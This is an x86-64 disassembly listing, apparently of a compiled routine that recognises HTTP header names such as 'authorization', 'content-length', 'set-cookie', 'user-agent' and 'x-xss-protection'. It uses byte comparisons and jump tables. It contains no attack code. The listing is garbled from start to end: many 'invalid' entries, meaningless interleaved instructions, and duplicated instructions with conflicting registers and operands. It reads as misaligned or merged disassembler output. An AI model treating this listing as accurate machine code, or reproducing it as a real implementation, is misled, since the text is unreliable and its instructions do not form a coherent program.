mov r11d, 6
jmp 0x140025a24
add cl, ch
adc dword [rsi], ecx
add byte [rax], al
movzx edx, byte [r9]
add edx, 0xffffff9f
cmp edx, 0xb
ja case.0x140024b4d.103
xchg dword [rdx], ebx
invalid
lea r10, [0x1401928b0]
lea edx, [0x1401928b0]
add byte [rcx + 0x63], cl
adc al, 0x92
movsxd rdx, dword [r10 + rdx*4]
add rdx, r10
jmp rdx
movzx edx, byte [r9 + 1]
movzx edx, byte [rcx + 1]
cmp edx, 0x63
je 0x140025a58
cmp edx, 0x75
jne case.0x140024b4d.103
test ebx, esi
invalid
add byte [rax], al
cli
jne 0x140024c54
test ebx, esi
or eax, 0xba480000
je 0x140024cb6
movabs rdx, 0x74617a69726f6874
outsd dx, dword [rsi]
jb 0x140024cba
imul edi, dword [rdx + 0x61], 0x51394974
add cl, byte [rdi]
test edi, ebx
or eax, 0x80410000
add byte [rcx - 0x80], al
jp case.0x1400229de.135
je 0x140024c9e
cmp qword [r9 + 2], rdx
cmp dword [rcx + 2], edx
jne case.0x140024b4d.103
add byte [rcx - 0x80], al
cmp byte [r9 + 0xa], 0x69
jne case.0x140024b4d.103
invalid
invalid
add byte [rax], al
jns case.0x14001a74e.268
or ch, byte [rcx + 0xf]
test esp, edx
invalid
or eax, 0x80410000
imul ecx, dword [rdi], 0xdd485
add byte [rcx - 0x80], al
invalid
cmp byte [r9 + 0xb], 0x6f
jns 0x140024c78
or ebp, dword [rdi + 0xf]
test ecx, ecx
or eax, 0x10b20000
outsd dx, dword [rsi]
jne case.0x140024b4d.103
mov dl, 0x10
mov r10b, 0x6e
outsb dx, byte [rsi]
mov r11d, 0xc
jmp 0x140025a24
invalid
invalid
add byte [rax], al
movabs al, byte [0x8311b60f4100000d]
cli
jo 0x140024c9b
movzx edx, byte [r9]
cmp edx, 0x70
je 0x14002524c
invalid
invalid
add byte [rax], al
test byte [rbx - 0x7cfffffb], bh
mov ebx, 0x83000005
cmp edx, 0x61
jne case.0x140024e6f.100
sldt word [rax]
cli
invalid
sldt word [rax]
movdqu xmm0, xmmword [r9 + 1]
movq mm0, qword [r9 + 1]
add dword [r14 + 0xf], esp
je case.0x14001a968.177
pcmpeqb xmm0, xmmword [0x14012f890]
call 0x1a6025d54
stosd dword [rdi], eax
adc byte [rax], al
pmovmskb edx, xmm0
pmovmskb edx, mm0
xor edx, 0xffff
add byte [rax], al
jne case.0x140024e6f.100
invalid
add byte [rax], al
movabs rdx, 0x6769726f2d776f6c
cmp qword [r9 + 0x11], rdx
invalid
insb byte [rdi], dx
outsd dx, dword [rsi]
ja 0x140024ceb
outsd dx, dword [rsi]
jb 0x140024d2a
cmp qword [r9d + 0x11], rdx
adc dword [rdi], ecx
jne case.0x140024e6f.100
test edx, esi
invalid
cmp byte [r9 + 0x19], 0x69
jne case.0x140024e6f.100
add byte [rax], al
add byte [rax], al
mov dl, 8
mov r10b, 0x6e
mov r11d, 0x1a
mov ebx, 0x1a
mov ebx, 0x1a
jmp 0x140025a24
cmp eax, 0x4100000d
movzx edx, byte [rcx]
or eax, 0xf410000
mov dh, 0x11
movzx edx, byte [r9]
cmp edx, 0x76
je case.0x140019243.226
cmp edx, 0x64
je 0x1400252fe
add byte [rax], al
cli
je 0x1400252fe
add byte [rax], al
add byte [rax], al
cmp edx, 0x61
invalid
jne case.0x140024b4d.103
add byte [rcx - 0x80], al
jns 0x140024d0b
invalid
cmp byte [r9 + 1], 0x67
add dword [rdi + 0xf], esp
test dword [rcx + 0xdb20000], ebp
or eax, 0xdb20000
jne case.0x140024b4d.103
jne case.0x140024b4d.103
or eax, 0xdb20000
mov dl, 0xd
mov r10b, 0x65
mov r11d, 2
jmp 0x140025a24
movzx edx, byte [r9]
cmp edx, 0x6c
je 0x140025299
add byte [rax], al
imul eax, dword [0x13a854d31], 0x69
add byte [rax], al
cmp edx, 0x69
jne case.0x140024b4d.103
cmp byte [r9 + 1], 0x66
jns 0x140024d3c
jne case.0x140024b4d.103
jne case.0x140024b4d.103
test ebx, edi
sti
or al, 0
add byte [rcx - 0x80], al
jns case.0x14001b1bb.213
cmp byte [r9 + 2], 0x2d
jne case.0x140024b4d.103
test eax, esi
or al, 0
invalid
sub eax, 0xcf0850f
add byte [rax], al
test eax, esi
or al, 0
add byte [rcx + 0xf], al
mov dh, 0x51
movzx edx, byte [r9 + 3]
cmp edx, 0x72
je 0x140025ab1
invalid
add byte [rax], al
add eax, dword [rbx - 0x7bf08d06]
push rsi
or eax, 0xfa830000
insd dword [rdi], dx
cmp edx, 0x6d
jne case.0x140024b4d.103
cmp byte [r9 + 4], 0x61
jne case.0x140024b4d.103
add byte [rax], al
add byte [rax], al
cmp byte [r9 + 5], 0x74
add eax, 0xc3850f74
or al, 0
add byte [rcx - 0x80], al
jns 0x140024d84
jne case.0x140024b4d.103
cmp byte [r9 + 6], 0x63
jne case.0x140024b4d.103
invalid
or al, 0
invalid
invalid
mov eax, 0xb200000c
invalid
add byte [rdx + 0x68b24127], dh
mov dl, 0x27
mov r10b, 0x68
mov r11d, 7
jmp 0x140025a24
movabs rdx, 0x6564726177726f66
cmp qword [r9], rdx
cmp dword [rcx], edx
jb 0x140024e12
invalid
cmp dword [rcx], edx
jne case.0x140024b4d.103
mov dl, 0x24
mov r10b, 0x64
invalid
mov r11d, 8
mov r11d, 8
jmp 0x140025a24
or al, 0
add byte [rcx + 0xf], al
movzx edx, byte [r9]
movzx edx, byte [r9]
cmp edx, 0x78
je 0x14002537c
cmp edx, 0x77
je 0x140025334
cmp edx, 0x63
jne case.0x140024e6f.100
invalid
cmp dword [r9 + 1], 0x65746e6f
cmp dword [rcx + 1], 0x65746e6f
jne case.0x140024e6f.100
invalid
cmp byte [r9 + 5], 0x6e
jne case.0x140024e6f.100
test esi, ecx
invalid
add byte [rax], al
test esi, ecx
or eax, 0x80410000
jns 0x140024dfa
cmp byte [r9 + 6], 0x74
jne case.0x140024e6f.100
je 0x140024e05
test ebx, eax
or eax, 0x80410000
add byte [rcx - 0x80], al
cmp byte [r9 + 7], 0x2d
jne case.0x140024e6f.100
add byte [rax], al
jns 0x140024e06
sub eax, 0xdb8850f
add byte [rax], al
add byte [rcx + 0xf], al
movzx edx, byte [r9 + 8]
movzx edx, byte [rcx + 8]
mov dh, 0x51
or byte [rbx - 0x7bf09306], al
retf 0xc
cmp edx, 0x6c
je 0x140025ade
add byte [rax], al
cmp edx, 0x65
jne case.0x140024e6f.100
invalid
invalid
add byte [rax], al
movabs eax, dword [0x6e0979814100000d]
invalid
cmp dword [r9 + 9], 0x646f636e
jne case.0x140024e6f.100
cmp byte [r9 + 0xd], 0x69
jne case.0x140024e6f.100
invalid
add byte [rax], al
or eax, 0x80410000
jns 0x140024e48
invalid
cmp byte [r9 + 0xe], 0x6e
outsb dx, byte [rsi]
jne case.0x140024e6f.100
test dword [rbp + 0xd], edi
add byte [rax], al
mov dl, 0x16
mov r10b, 0x67
mov r11d, 0xf
mov r11d, 0xf
sldt word [rax]
add cl, ch
ror dword [rbx], cl
add byte [rax], al
jmp 0x140025a24
movzx edx, byte [r9]
add edx, 0xffffff9d
cmp edx, 0x11
ja case.0x140024e6f.100
lea r10, [0x14019280c]
adc eax, 0x16d9a4
movsxd rdx, dword [r10 + rdx*4]
add rdx, r10
jmp rdx
movabs rdx, 0x65686361632d6e64
cmp qword [r9 + 1], rdx
jne case.0x140024e6f.100
cmp dword [r9 + 9], 0x6e6f632d
jne case.0x140024e6f.100
cmp byte [r9 + 0xd], 0x74
jne case.0x140024e6f.100
je 0x140024ea8
test dword [rax], esp
or eax, 0x80410000
jns 0x140024eb0
cmp byte [r9 + 0xe], 0x72
jne case.0x140024e6f.100
jb 0x140024eb3
test dword [0x181024eb7], edx
cmp byte [rcx + 0xf], 0x6f
add byte [rcx - 0x80], al
jns 0x140024ebc
cmp byte [r9 + 0xf], 0x6f
outsd dx, dword [rsi]
jne case.0x140024e6f.100
or cl, byte [0x153b44eb6]
add byte [rdx + 0x6cb24113], dh
mov dl, 0x13
mov r10b, 0x6c
mov r11d, 0x10
add byte [rax], al
add cl, ch
invalid
add byte [rax], al
jmp 0x140025a24
movzx edx, byte [r9]
cmp edx, 0x72
je 0x1400252cd
cmp edx, 0x61
jne case.0x140024b4d.103
or eax, dword [rax]
invalid
cmp byte [r9 + 1], 0x6c
jne case.0x140024b4d.103
cmp byte [r9 + 2], 0x6c
jne case.0x140024b4d.103
cmp byte [r9 + 3], 0x6f
cmp byte [rcx + 3], 0x6f
jne case.0x140024b4d.103
mov dl, 0xe
mov r10b, 0x77
mov r11d, 4
jmp 0x140025a24
movzx edx, byte [r9]
add edx, 0xffffff9f
cmp edx, 0x12
ja case.0x140024b4d.103
invalid
add byte [rbp + rcx*4 + 0x15], cl
invalid
lea r10, [0x140192940]
movsxd rdx, dword [r10 + rdx*4]
add rdx, r10
jmp rdx
cmp dword [r9 + 1], 0x70656363
jne case.0x140024b4d.103
mov r10b, 0x74
mov r11d, 5
xor edx, edx
jmp 0x140025a24
movabs rdx, 0x66612d7972746572
cmp qword [r9], rdx
jne case.0x140024b4d.103
cmp byte [r9 + 8], 0x74
jne case.0x140024b4d.103
cmp byte [r9 + 9], 0x65
jne case.0x140024b4d.103
mov dl, 0x3a
mov r10b, 0x72
mov r11d, 0xa
jmp 0x140025a24
movzx edx, byte [r9]
cmp edx, 0x75
je 0x140025421
cmp edx, 0x73
je 0x1400253c4
cmp edx, 0x63
jne case.0x140024b4d.103
movabs rdx, 0x6f697463656e6e6f
cmp qword [r9 + 1], rdx
jne case.0x140024b4d.103
invalid
add byte [rdx + 0x6eb24114], dh
mov dl, 0x14
mov r10b, 0x6e
mov r11d, 9
jmp 0x140025a24
movzx edx, byte [r9]
cmp edx, 0x70
je 0x140025445
cmp edx, 0x69
je 0x1400253e8
cmp edx, 0x63
jne case.0x140024e6f.100
movdqu xmm0, xmmword [r9 + 1]
pcmpeqb xmm0, xmmword [0x14012f820]
add byte [rsi + 0xf], ah
xlatb
rol byte [rcx + 0xfffff2], 1
add byte [rdi], cl
invalid
invalid
or eax, dword [rax]
invalid
add byte [rsi + 0xf], ah
xlatb
rol byte [rcx + 0xfffff2], 1
add byte [rdi], cl
test dword [rbx + rcx - 0x7fbf0000], edi
jns 0x140025017
cmp byte [r9 + 0x11], 0x6f
outsd dx, dword [rsi]
jne case.0x140024e6f.100
mov dl, 0x15
jmp case.0x14001b1bb.286
pop rsp
add al, 0
invalid
pop rsp
add al, 0
add bl, dh
movdqu xmm0, xmmword [r9]
movdqu xmm0, xmmword [r9]
outsd dx, dword [rsi]
add dword [rsi + 0xf], esp
je case.0x1400196ab.370
pcmpeqb xmm0, xmmword [0x14012f7d0]
scasd eax, dword [rdi]
cmpsd dword [rsi], dword [rdi]
adc byte [rax], al
pmovmskb edx, xmm0
pmovmskb edx, mm0
xor edx, 0xffff
jne case.0x140024e6f.100
invalid
lea ecx, [rbx]
add byte [rax], al
cmp byte [r9 + 0x10], 0x74
jne case.0x140024e6f.100
mov dl, 0x32
mov r10b, 0x65
mov r11d, 0x11
jmp 0x140025a24
movzx edx, byte [r9]
movzx edx, byte [rcx]
cmp edx, 0x78
je 0x1400254ba
js 0x140025063
test byte [rcx + 4], ah
add byte [rax], al
add byte [rbx - 0x7bf08c06], al
sbb al, 4
add byte [rax], al
cmp edx, 0x73
je case.0x14001af4a.319
cmp edx, 0x61
jne case.0x140024e6f.100
add byte [rax], al
cli
invalid
movdqu xmm0, xmmword [r9 + 1]
pcmpeqb xmm0, xmmword [0x14012f870]
je 0x14002507a
invalid
cmpsd dword [rsi], dword [rdi]
adc byte [rax], al
je 0x14002507a
mul dword [rdi + 0xf660010]
xlatb
rol byte [rcx + 0xfffff2], 1
invalid
invalid
inc dword [rax]
add byte [rdi], cl
test dword [0x181025095], esi
cmp dword [rcx + 0x11], 0x67612d78
invalid
invalid
pmovmskb edx, xmm0
pmovmskb edx, mm0
xor edx, 0xffff
jne case.0x140024e6f.100
invalid
cmp dword [r9 + 0x11], 0x67612d78
invalid
jne case.0x140024e6f.100
jne case.0x140024e6f.100
add byte [rax], al
mov dl, 0xa
mov r10b, 0x65
mov dl, 0x65
mov r11d, 0x15
jmp 0x140025a24
movdqu xmm0, xmmword [r9]
pcmpeqb xmm0, xmmword [0x14012f830]
pmovmskb edx, xmm0
xor edx, 0xffff
add byte [rax], al
jne case.0x140024e6f.100
test edx, edi
or al, byte [rax]
add byte [rax - 0x46], cl
movabs rdx, 0x682d747365757165
cmp qword [r9 + 0x10], rdx
jno 0x14002513e
jae 0x140025140
sub eax, 0x51394968
adc byte [rdi], cl
test esi, esp
out 0xa, al
add byte [rax], al
invalid
invalid
jns 0x1400250f4
push 0x10513949
jne case.0x140024e6f.100
out 0xa, al
add byte [rax], al
cmp dword [r9 + 0x18], 0x65646165
jne case.0x140024e6f.100
fmul dword [rdx]
add byte [rax], al
invalid
cmp byte [r9 + 0x1c], 0x72
jne case.0x140024e6f.100
mov dl, 0xb
mov r10b, 0x73
mov dl, 0x73
mov r11d, 0x1d
add byte [rax], al
add cl, ch
jmp 0x140025a24
jmp 0x140025a24
or dword [rax], eax
add byte [rax - 0x46], cl
invalid
invalid
invalid
movabs rdx, 0x632d737365636361
cmp qword [r9], rdx
invalid
invalid
jne case.0x140024e6f.100
cmp dword [r9 + 8], 0x72746e6f
jne case.0x140024e6f.100
cmp byte [r9 + 0xc], 0x6f
jne case.0x140024e6f.100
or al, byte [rax]
invalid
or al, byte [rax]
add byte [rcx - 0x80], al
jns 0x14002513e
invalid
cmp byte [r9 + 0xd], 0x6c
or eax, 0x86850f6c
or al, byte [rax]
add byte [rcx - 0x80], al
jns 0x14002514a
insb byte [rdi], dx
jne case.0x140024e6f.100
test dword [rsi + 0x4100000a], eax
cmp byte [rcx + 0xe], 0x2d
xchg byte [rdx], cl
add byte [rax], al
cmp byte [r9 + 0xe], 0x2d
sub eax, 0xa7b850f
jne case.0x140024e6f.100
test dword [rbx + 0xa], edi
or al, byte [rax]
add byte [rcx + 0xf], al
mov dh, 0x51
jae 0xc411c447
invalid
add byte [rax], al
movzx edx, byte [r9 + 0xf]
cmp edx, 0x72
je 0x1400257c8
test byte [rdi + 6], dh
add byte [rax], al
jb 0x14002515b
test byte [rdi + 6], dh
ja 0x140025155
invalid
add byte [rax], al
cmp edx, 0x65
jne case.0x140024e6f.100
test dword [rdx + rcx], esp
add byte [rax - 0x46], cl
movabs rdx, 0x65682d65736f7078
cmp qword [r9 + 0x10], rdx
mov edx, 0x736f7078
sub eax, 0x39496568
js 0x1400251ce
outsd dx, dword [rsi]
jae 0x1400251c6
sub eax, 0x39496568
push rcx
adc byte [rdi], cl
jne case.0x140024e6f.100
jne case.0x140024e6f.100
or al, byte [rax]
add byte [rcx - 0x7f], al
jns 0x14002518a
invalid
cmp dword [r9 + 0x18], 0x72656461
jne case.0x140024e6f.100
or al, byte [rax]
invalid
sbb byte [rcx + 0x64], ah
jb 0x140025186
invalid
test dword [rdx + 0xa], eax
add byte [rax], al
or al, byte [rax]
add byte [rdx + 0x73b24109], dh
mov dl, 9
mov r10b, 0x73
mov r11d, 0x1c
jmp 0x140025a24
add cl, ch
cwde
or byte [rax], al
add bl, dh
movq mm0, qword [r9 + 1]
add byte [rax], al
movdqu xmm0, xmmword [r9 + 1]
pcmpeqb xmm0, xmmword [str.pgrade_insecure_trict_transport_sec_websocket_vesec_websocket_exsec_websocket_acproxy_authentica_policy_report_ocontent_securityroxy_authorizatif_unmodified_sinontent_dispositiaccess_control_rns_prefetch_contontent_type_optiec_websocket_proccess_control_maublic_key_pins_rccess_control_alaccess_control_a]
movsd dword [rdi], dword [rsi]
adc byte [rax], al
pmovmskb edx, xmm0
xor edx, 0xffff
add byte [rax], al
jne case.0x140024e6f.100
test dword [rdx + rcx], edx
add byte [rax], al
cmp dword [r9 + 0x11], 0x75716572
adc dword [rdx + 0x65], esi
jno 0x140025227
jne case.0x140024e6f.100
cmp byte [r9 + 0x15], 0x65
jne case.0x140024e6f.100
cmp byte [r9 + 0x16], 0x73
jne case.0x140024e6f.100
test eax, esi
or dword [rax], eax
invalid
invalid
test eax, esi
or dword [rax], eax
add byte [rcx - 0x80], al
jns 0x1400251e9
cmp byte [r9 + 0x17], 0x74
jne case.0x140024e6f.100
test ebp, esp
or dword [rax], eax
invalid
je 0x1400251e3
test ebp, esp
or dword [rax], eax
add byte [rdx + 0x73b24148], dh
mov dl, 0x73
mov dl, 0x48
mov r10b, 0x73
mov dl, 0x73
mov dl, 0x73
mov r11d, 0x18
mov ebx, 0x18
add cl, ch
cmp ecx, dword [rax]
add byte [rax], al
jmp 0x140025a24
movabs rdx, 0x6177726f662d7861
cmp qword [r9 + 1], rdx
invalid
jne case.0x140024b4d.103
or byte [rax], al
add byte [rcx - 0x80], al
jns 0x14002520a
invalid
cmp byte [r9 + 9], 0x72
jne case.0x140024b4d.103
or dword [rdx + 0xf], esi
jb case.0x1400dd9c6.1167
test dword [0x181025211], esi
cmp byte [r9 + 0xa], 0x64
cmp byte [rcx + 0xa], 0x64
jns 0x140025216
jne case.0x140024b4d.103
jne case.0x140024b4d.103
sub cl, byte [rax]
add byte [rax], al
invalid
add byte [rdx + 0x801e92f], dh
mov dl, 0x2f
jmp 0x140025a1b
add dword [rax], ecx
add byte [rax], al
movabs rdx, 0x6c2d746e65746e6f
mov edx, 0x65746e6f
outsd dx, dword [rsi]
outsb dx, byte [rsi]
je 0x140025285
outsb dx, byte [rsi]
je 0x140025250
insb byte [rdi], dx
cmp qword [r9 + 1], rdx
cmp dword [rcx + 1], edx
add dword [rdi], ecx
test dword [rdi], ecx
or byte [rax], al
add byte [rcx - 0x7f], al
jns 0x14002523b
jne case.0x140024b4d.103
cmp dword [r9 + 9], 0x74676e65
jne case.0x140024b4d.103
add dword [rax], ecx
add byte [rax], al
outsb dx, byte gs:[rsi]
je 0x140025246
test dword [rcx], eax
or byte [rax], al
add byte [rdx + 0x68b24118], dh
mov dl, 0x18
mov r10b, 0x68
mov r11d, 0xd
or eax, 0xe9000000
add byte [rax], al
add cl, ch
jmp 0x140025a24
fadd dword [rdi]
add byte [rax], al
movdqu xmm0, xmmword [r9 + 1]
pcmpeqb xmm0, xmmword [0x14012f880]
je 0x14002525b
cmpsb byte es:[rsi], byte [rdi]
adc byte [rax], al
add dword [r14 + 0xf], esp
je 0x14002525b
cmpsb byte es:[rsi], byte [rdi]
adc byte [rax], al
pmovmskb edx, xmm0
pmovmskb edx, mm0
xor edx, 0xffff
jne case.0x140024e6f.100
inc dword [rax]
add byte [rdi], cl
test dword [rcx + rcx], edx
add byte [rax - 0x46], cl
jo 0x1400252de
movabs rdx, 0x6e6f2d74726f7065
cmp qword [r9 + 0x11], rdx
jne case.0x140024e6f.100
jo 0x1400252de
jb 0x1400252e5
sub eax, 0x39496e6f
push rcx
adc dword [rdi], ecx
test dword [rax + 9], eax
add byte [rax], al
cmp byte [r9 + 0x19], 0x6c
jns 0x14002529b
insb byte [rdi], dx
jne case.0x140024e6f.100
xor eax, 0xb2000009
xor eax, 0x4179b241
mov ebx, 0x1a
add byte [rax], al
invalid
add byte [rdx + 0x79b24135], dh
mov dl, 0x35
mov r10b, 0x79
mov r11d, 0x1a
add byte [rax], al
add cl, ch
mov eax, dword [rdi]
invalid
add byte [rax], al
invalid
jmp 0x140025a24
add byte [rcx - 0x7f], al
cmp dword [r9 + 1], 0x7461636f
jne case.0x140024b4d.103
add byte [rax], al
jns 0x14002529e
outsd dx, dword [rsi]
invalid
add byte [rax], al
cmp byte [r9 + 5], 0x69
jne case.0x140024b4d.103
cmp byte [r9 + 6], 0x6f
jns 0x1400252bc
outsd dx, dword [rsi]
jne case.0x140024b4d.103
add byte [rdx + 0x6eb2412e], dh
mov dl, 0x2e
mov r10b, 0x6e
mov r11d, 7
invalid
jmp 0x140025a24
cmp byte [r9 + 1], 0x61
jne case.0x140024b4d.103
invalid
cmp byte [r9 + 2], 0x6e
jne case.0x140024b4d.103
test dword [rdx + 7], ebx
add byte [rax], al
cmp byte [r9 + 3], 0x67
cmp byte [rcx + 3], 0x67
jns 0x1400252ea
jne case.0x140024b4d.103
add byte [rdx + 0x65b24136], dh
mov dl, 0x36
mov r10b, 0x65
mov r11d, 4
jmp 0x140025a24
invalid
invalid
add byte [rax], al
add cl, ch
invalid
cmp byte [r9 + 1], 0x6e
cmp byte [rcx + 1], 0x6e
jne case.0x140024b4d.103
xor al, 7
add byte [rax], al
mov dl, 0x1f
mov r10b, 0x74
mov r11d, 2
add al, byte [rax]
add byte [rax], al
add al, byte [rax]
add byte [rax], al
jmp 0x140025a24
cmp byte [r9 + 1], 0x69
jne case.0x140024b4d.103
invalid
add byte [rax], al
mov dl, 0x4a
mov r10b, 0x61
mov r11d, 2
add byte [rax], al
add cl, ch
invalid
invalid
add byte [rax], al
add byte [rax], al
add cl, ch
invalid
movabs rdx, 0x65687475612d7777
cmp qword [r9 + 1], rdx
cmp qword gs:[r9 + 1], rdx
jne case.0x140024e6f.100
cmp dword [r9 + 9], 0x6369746e
cmp dword [rcx + 9], 0x6369746e
jns 0x140025355
outsb dx, byte [rsi]
je case.0x14001a74e.300
invalid
jne case.0x140024e6f.100
add byte [rcx - 0x80], al
cmp byte [r9 + 0xd], 0x61
jne case.0x140024e6f.100
jns 0x140025367
invalid
cmp byte [r9 + 0xe], 0x74
jne case.0x140024e6f.100
test dword [rdx + 8], edx
add byte [rax], al
or byte [rax], al
add byte [rdx + 0x65b2414c], dh
mov dl, 0x4c
mov r10b, 0x65
mov r11d, 0xf
jmp 0x140025a24
movabs rdx, 0x6f72702d7373782d
mov edx, 0x7373782d
sub eax, 0x496f7270
outsd dx, dword [rsi]
cmp qword [r9 + 1], rdx
outsd dx, dword [rsi]
cmp qword [r9 + 1], rdx
jne case.0x140024e6f.100
cmp dword [r9 + 9], 0x74636574
jne case.0x140024e6f.100
jns 0x14002539d
je 0x1400253fb
invalid
invalid
add byte [rcx - 0x80], al
jns 0x1400253af
cmp byte [r9 + 0xd], 0x69
jne case.0x140024e6f.100
invalid
or byte [rax], al
invalid
imul ecx, dword [rdi], 0x81585
add byte [rcx - 0x80], al
jns case.0x1400dd9c6.1175
cmp byte [r9 + 0xe], 0x6f
outsd dx, dword [rsi]
jne case.0x140024e6f.100
test dword [rdx], ecx
or cl, byte [rax]
add byte [rax], al
or byte [rax], al
add byte [rdx + 0x6eb24150], dh
outsb dx, byte [rsi]
mov dl, 0x50
mov r10b, 0x6e
outsb dx, byte [rsi]
mov r11d, 0xf
jmp 0x140025a24
add byte [rax], al
sldt word [rax]
add byte [rax], al
add cl, ch
invalid
add byte [rax], al
movabs rdx, 0x696b6f6f632d7465
cmp qword [r9 + 1], rdx
push rcx
add dword [rdi], ecx
test dword [rbp + 6], esp
invalid
invalid
add byte [rax], al
push rcx
add dword [rdi], ecx
test dword [rbp + 6], esp
invalid
invalid
add byte [rax], al
invalid
mov dl, 0x41
mov r10b, 0x65
mov r11d, 9
mov ebx, 9
mov ebx, 9
add byte [rax], al
add cl, ch
jmp 0x140025a24
add byte [rax], al
jmp 0x140025a24
movdqu xmm0, xmmword [r9 + 1]
pcmpeqb xmm0, xmmword [0x14012f810]
sbb ah, byte [rax + rdx - 0x28f09a00]
invalid
add dword [r14 + 0xf], esp
je 0x1400253f7
sbb ah, byte [rax + rdx - 0x28f09a00]
rol byte [rcx + 0xfffff2], 1
inc dword [rax]
pmovmskb edx, mm0
xor edx, 0xffff
invalid
inc dword [rax]
add byte [rdi], cl
test dword [rax + 0x41000007], edi
invalid
add byte [rax], al
cmp byte [r9 + 0x11], 0x63
jne case.0x140024e6f.100
invalid
add byte [rax], al
cmp byte [r9 + 0x11], 0x63
invalid
jne case.0x140024e6f.100
test dword [rbp - 0x4dfffff9], ebp
sub eax, dword [rcx - 0x4e]
lodsd eax, dword [rsi]
invalid
mov dl, 0x2b
mov r10b, 0x65
mov r11d, 0x12
mov r11d, 0x12
jmp 0x140025a24
add byte [rax], al
movabs rdx, 0x6e6567612d726573
cmp qword [r9 + 1], rdx
push rcx
add dword [rdi], ecx
invalid
jne case.0x140024b4d.103
test dword [rax], ecx
invalid
add byte [rdx + 0x74b24146], dh
mov dl, 0x46
mov r10b, 0x74
invalid
mov r11d, 9
add byte [rax], al
jmp 0x140025a24
add eax, 0x41f30000
movq mm0, qword [rcx + 1]
outsd dx, dword [rsi]
invalid
invalid
movdqu xmm0, xmmword [r9 + 1]
outsd dx, dword [rsi]
add dword [r14 + 0xf], esp
invalid
je 0x140025454
invalid
pcmpeqb xmm0, xmmword [0x14012f800]
add eax, 0x10a3ad
lodsd eax, dword [rsi]
movabs dword [0xf281d0d70f660010], eax
adc byte [rax], al
pmovmskb edx, xmm0
invalid
invalid
adc byte [rax], al
add byte [rsi + 0xf], ah
pmovmskb edx, xmm0
pmovmskb edx, mm0
xlatb
rol byte [rcx + 0xfffff2], 1
invalid
inc dword [rax]
invalid
xor edx, 0xffff
invalid
add byte [rax], al
add byte [rdi], cl
test dword [rbx + 7], ebx
add byte [rax], al
jne case.0x140024e6f.100
cmp byte [r9 + 0x11], 0x6f
jne case.0x140024e6f.100
push rax
invalid
add byte [rdx + 0x6eb24133], dh
mov dl, 0x33
mov r10b, 0x6e
mov dl, 0x6e
mov r11d, 0x12
add cl, ch
cmpsb byte [rsi], byte [rdi]
jmp 0x140025a24
add eax, 0x41f30000
movq mm0, qword [rcx + 1]
movdqu xmm0, xmmword [r9 + 1]
pcmpeqb xmm0, xmmword [0x14012f860]
adc byte [rax], al
pmovmskb edx, xmm0
pmovmskb edx, mm0
xor edx, 0xffff
add byte [rdi], cl
jne case.0x140024e6f.100
test dword [rdx], esp
invalid
cmp dword [r9 + 0x11], 0x6f636f74
cmp dword [rcx + 0x11], 0x6f636f74
je 0x140025511
outsd dx, dword [rsi]
invalid
outsd dx, dword [rsi]
jne case.0x140024e6f.100
mov dl, 0x3e
mov r10b, 0x6c
mov r11d, 0x15
mov ebx, 0x15
mov ebx, 0x15
add byte [rax], al
add cl, ch
invalid
jmp 0x140025a24
push 5
add byte [rax], al
add byte [rcx - 0x80], al
cmp byte [r9 + 1], 0x2d
jns case.0x14001b1bb.268
sub eax, 0x6f9850f
jne case.0x140024e6f.100
add byte [rax], al
movzx edx, byte [r9 + 2]
push rcx
add al, byte [rbx - 0x7bf09b06]
invalid
cmp edx, 0x64
je 0x140025b15
add byte [rax], al
add byte [rbx - 0x7af09c06], al
loop 0x1400254e0
invalid
cmp edx, 0x63
jne case.0x140024e6f.100
invalid
add byte [rax], al
invalid
add byte [rax], al
add bl, dh
movq mm0, qword [r9 + 3]
movq mm0, qword [rcx + 3]
movdqu xmm0, xmmword [r9 + 3]
movq mm0, qword [rcx + 3]
add esp, dword [r14 + 0xf]
je 0x1400254eb
invalid
pcmpeqb xmm0, xmmword [0x14012f850]
add eax, 0x10a366
movabs word [0xf281d0d70f660010], ax
invalid
pmovmskb edx, xmm0
pmovmskb edx, mm0
xlatb
rol byte [rcx + 0xfffff2], 1
invalid
invalid
inc dword [rax]
add byte [rdi], cl
invalid
test esp, eax
invalid
xor edx, 0xffff
invalid
add byte [rax], al
jne case.0x140024e6f.100
add byte [rax], al
cmp byte [r9 + 0x13], 0x6f
cmp byte [rcx + 0x13], 0x6f
outsd dx, dword [rsi]
jne case.0x140024e6f.100
test dword [rcx + 0x41000006], edi
mov ecx, 0x41000006
cmp byte [r9 + 0x14], 0x6e
cmp byte [rcx + 0x14], 0x6e
jns 0x14002551d
outsb dx, byte [rsi]
jne case.0x140024e6f.100
test dword [rsi - 0x4dfffffa], ebp
add byte [rax], al
mov dl, 0x4d
mov r10b, 0x73
mov r10b, 0x73
mov r11d, 0x15
mov ebx, 0x15
add byte [rax], al
add cl, ch
add al, 5
add byte [rax], al
jmp 0x140025a24
add eax, 0xba480000
jb case.0x140016398.938
jb case.0x140016398.938
movabs rdx, 0x2d72657272656665
jb case.0x140016398.938
jb case.0x140016398.938
jb 0x140025557
cmp qword [r9 + 1], rdx
add dword [rdi], ecx
test dword [rcx], ecx
invalid
jne case.0x140024b4d.103
or dword [0xc1435536], eax
add eax, 0x81410000
cmp dword [r9 + 9], 0x696c6f70
jns case.0x14001a74e.320
jo 0x1400255a9
insb byte [rdi], dx
imul ecx, dword [rdi], 0x4fb85
jne case.0x140024b4d.103
add byte [rax], al
add byte [rcx - 0x80], al
jns 0x140025553
cmp byte [r9 + 0xd], 0x63
jne case.0x140024b4d.103
invalid
add al, 0
invalid
invalid
invalid
mov dl, 0x38
mov r10b, 0x79
mov r11d, 0xe
invalid
add byte [rax], al
add byte [rax], al
mov ebx, 0xe
invalid
add byte [rax], al
add cl, ch
mov dword [rax + rax], 0x75ba4800
invalid
invalid
invalid
jmp 0x140025a24
movabs rdx, 0x656b2d63696c6275
mov edx, 0x696c6275
invalid
invalid
imul esp, dword [rbx + 0x2d], 0x3949656b
sub eax, 0x3949656b
imul esp, dword [rbp + 0x49], 0x39
cmp qword [r9 + 1], rdx
jne case.0x140024b4d.103
test esp, ecx
add al, 0
invalid
push rcx
add dword [rdi], ecx
test esp, ecx
add al, 0
add byte [rcx - 0x7f], al
invalid
jns 0x14002557e
add byte [rax], al
cmp dword [r9 + 9], 0x69702d79
jns 0x1400255a4
jo 0x1400255e2
jne case.0x140024b4d.103
add byte [rax], al
add byte [rcx - 0x80], al
jns case.0x140016398.940
cmp byte [r9 + 0xd], 0x6e
outsb dx, byte [rsi]
jne case.0x140024b4d.103
add al, 0
add byte [rdx + 0x482feb34], dh
invalid
invalid
mov edx, 0x6172662d
invalid
jb 0x1400255f5
add byte [rax], al
mov dl, 0x34
jmp case.0x140019243.192
invalid
invalid
